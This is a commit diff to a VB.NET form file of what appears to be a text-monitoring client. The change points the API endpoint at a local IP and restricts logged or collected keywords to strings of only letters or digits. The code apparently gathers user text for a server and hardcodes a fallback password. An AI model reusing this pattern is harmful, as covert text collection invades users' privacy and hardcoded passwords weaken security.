1、关键字长度限制过滤 修改为 连续的字符文本满足条件才算。中间有符号、空格、表情、控制字符等间隔的都不算

Yjpp36/Form1.vb

@@ -16,7 +16,8 @@ Public Class Form1
     Dim 全局变量_BIOS识别码 As String = ""
     Dim 全局变量_异常密码 As String = "009988"
     'api接口地址 ' 
-    Dim ApiEndPoint As String = "http://api.systemcd.org/api/v1"
+    'Dim ApiEndPoint As String = "http://api.systemcd.org/api/v1"
+    Dim ApiEndPoint As String = "http://192.168.2.102:8000/api/v1"
     Dim 全局变量_id As String = ""
     Dim 全局变量_心跳时间 As String = ""
     Dim 全局变量_关键字心跳时间 As String = ""
@@ -1702,8 +1703,6 @@ Public Class Form1
                 '保存到文件'
                 Await SaveFile("keywords", {content})
             End If
-
-
         Catch ex As Exception
 
         End Try
@@ -1738,10 +1737,10 @@ Public Class Form1
                 req.type = 1
                 req.content = content
 
-                If 是否断网 = True AndAlso len > 0 AndAlso content.Length = len Then
+                If 是否断网 = True AndAlso len > 0 AndAlso content.Length = len AndAlso StringHelper.IsAllLetterOrDigit(content) Then
                     Await SaveKeywordLog({req})
                     Exit For
-                ElseIf 是否断网 = False AndAlso len > 0 AndAlso content.Length = len Then
+                ElseIf 是否断网 = False AndAlso len > 0 AndAlso content.Length = len AndAlso StringHelper.IsAllLetterOrDigit(content) Then
                     全局变量_采集的文本.Add(req)
                     Exit For
                 End If